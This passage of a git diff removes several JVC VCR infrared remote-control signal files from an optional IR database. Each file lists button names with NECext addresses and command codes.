00 0E 00 00 -command: 0E 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 11 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 14 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 16 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 17 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 18 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 1A 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 1A 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 1B 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 1C 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 1E 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/1,-1.ir deleted file mode 100644 index 837f266e2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/1,-1.ir +++ /dev/null @@ -1,350 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: FFWD/SHUT.SRCH_>> -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: FF/SHUT.SRCH_>> -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: FF_>>/SHUTTLE_>> -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: FFWD_>> -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: REW/SHUT.SRCH_<< -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: REW_< -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: PAUSE/STILL_ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: TV_CH/SET_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: TV_CH/SET_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: VIDEO/TV -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: SEARCH_FWD_>> -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: TV_MENU_(RA_EDIT) -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: TV_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: SEARCH_REV_<< -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: FR_ADV -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: TV_TV/VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: AUDIO_DUB/PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2C 00 00 00 -# -name: SP/EP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 41 00 00 00 -# -name: AM/PM -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 42 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 46 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 47 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4E 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4F 00 00 00 -# -name: 0/REPEAT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 50 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 51 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 52 00 00 00 -# -name: 3/TUE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 52 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 53 00 00 00 -# -name: 4/WED -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 53 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 54 00 00 00 -# -name: 5/THU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 54 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 55 00 00 00 -# -name: 6/FRI -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 55 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 56 00 00 00 -# -name: 7/SAT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 56 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 57 00 00 00 -# -name: 8/1_ST/2_ND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 57 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 58 00 00 00 -# -name: 9/DAILY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 58 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 6C 00 00 00 -# -name: REC/PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 6C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/1,14.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/1,14.ir deleted file mode 100644 index 26e4025ab..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/1,14.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SCROLL_DOWN -type: parsed -protocol: NECext -address: 01 0E 00 00 -command: 07 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 01 0E 00 00 -command: 0F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/131,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/131,-1.ir deleted file mode 100644 index 14995d0d8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/131,-1.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_STOP_[] -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 03 00 00 00 -# -name: TAPE_>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 06 00 00 00 -# -name: TAPE_<< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 07 00 00 00 -# -name: TAPE_PLAY_> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0C 00 00 00 -# -name: TAPE_PAUSE_ -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/163,-1.ir deleted file mode 100644 index 9dc85e822..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/163,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SURR_REAR_ON/OFF(-) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 05 00 00 00 -# -name: FM/AM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 0B 00 00 00 -# -name: TV_SOUND -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 10 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 11 00 00 00 -# -name: AUDIO_POWER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 17 00 00 00 -# -name: FADE_MUTE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1C 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1F 00 00 00 -# -name: FM/AM_1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 21 00 00 00 -# -name: FM/AM_2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 22 00 00 00 -# -name: FM/AM_3 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 23 00 00 00 -# -name: FM/AM_4 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 24 00 00 00 -# -name: FM/AM_5 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 25 00 00 00 -# -name: FM/AM_6 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 26 00 00 00 -# -name: FM/AM_7/P -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 27 00 00 00 -# -name: FM/AM_8 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 28 00 00 00 -# -name: FM/AM_9 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 29 00 00 00 -# -name: FM/AM_10 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 2A 00 00 00 -# -name: FM/AM_10+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 2F 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3C 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3D 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3F 00 00 00 -# -name: SURR_DELAY_(+) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 48 00 00 00 -# -name: SURR_CENTER_MODE_(-) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 58 00 00 00 -# -name: SURR_TEST_(+) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/179,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/179,-1.ir deleted file mode 100644 index 02dca9f64..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/179,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 43 00 00 00 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4C 00 00 00 -# -name: CD_PAUSE_ -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4D 00 00 00 -# -name: CD_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: CD_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: TV_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 61 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 62 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 63 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 64 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 65 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 66 00 00 00 -# -name: TV_7/P -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 67 00 00 00 -# -name: TV_8 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 68 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 69 00 00 00 -# -name: TV_10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6E 00 00 00 -# -name: TV_+10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6F 00 00 00 -# -name: CD_7/P -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 78 00 00 00 -# -name: CD_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 79 00 00 00 -# -name: CD_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7A 00 00 00 -# -name: CD_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7B 00 00 00 -# -name: CD_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7C 00 00 00 -# -name: CD_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7D 00 00 00 -# -name: CD_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/3,-1.ir deleted file mode 100644 index 958fee51a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/3,-1.ir +++ /dev/null @@ -1,644 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: TV_TV/VCR -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: MONITOR_TV/VIDEO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: A_MONITOR_TV/VIDEO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: TV_TV/VIDEO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: TV_INPUT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: TV_MONITOR_(TV/VIDEO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: MONITOR_(TV/VIDEO) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: TV/VIDEO_MONITOR -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: (TV)_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: POWER_(TV) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: A_TV_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: TV_OPERATE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: TV_OPERATE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: POWER_(TV) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: TV_CH_V -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: (TV)_CHANNEL_V -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: TV_CH_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: TV_CHANNEL_V -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: A_TV_CH_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: TV_CH_-_(TV_PROG) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: TV_CH/SET_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: TV_CH_-- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: TV_PROG/(2)SET_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: TV_PROG_-_(CH_-) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: TV_CHANNEL_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: TV_CH_^ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: (TV)_CHANNEL_^ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: TV_CH_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: TV_CHANNEL_^ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: A_TV_CH_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: TV_CH_+_(2_SET_) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: TV_CH/SET_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: TV_PROG/(2)SET_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: TV_PROG_+_(CH_+) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: TV_CHANNEL_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: TV_AUDIO_MONITOR -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: TV_VOL_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: (TV)_VOLUME_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: A_TV_VOL_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: TV_VOLUME_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: VCR_VOLUME_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: TV_VOL_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: (TV)_VOLUME_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: A_TV_VOL_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: TV_VOLUME_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: TV_VOL_-- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: VCR_VOLUME_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: TV_0_(AUX) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: TV_0_(AUX) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: TV_0/AUX -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: TV_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: TV_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: TV_1_(ABC) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: TV_2_(DEF) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: TV_3_(GHI) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: TV_4_(JKL) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: TV_5_(MNO) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: TV_6_(PQR) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: TV_7_(STU) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: TV_8_(DAILY) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: TV_8_(DAILY_M-F) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: TV_8_(DAILY) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: TV_8_(VWX) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: TV_8/DAILY_(M-F) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: TV_9_(WEEKLY) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: TV_9_(WEEKLY) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: TV_9/WEEKLY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: TV_/// -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 9D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/5,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/5,1.ir deleted file mode 100644 index ddbf7320c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/5,1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_CMEMORY/ADD -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/64,-1.ir deleted file mode 100644 index b97bab0d9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/64,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_TV/VIDEO -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0F 00 00 00 -# -name: TV_SELECT_(IN/OUT) -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 -# -name: VCR_VOLUME_+ -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: TV_CH/SET_+ -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: VCR_VOLUME_- -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: TV_CH/SET_- -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/67,-1.ir deleted file mode 100644 index 4a9de2ffa..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/67,-1.ir +++ /dev/null @@ -1,3872 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 00 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 02 00 00 00 -# -name: VCR_REC -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 02 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: VCR_STOP_[] -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: A_STOP_[] -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: VCRA_STOP_[] -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: VIDEO_A_STOP_[] -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: VCR_A_STOP[] -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: EP/SP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: VCR_STOP[] -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 04 00 00 00 -# -name: A_VIDEO_REJECT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 04 00 00 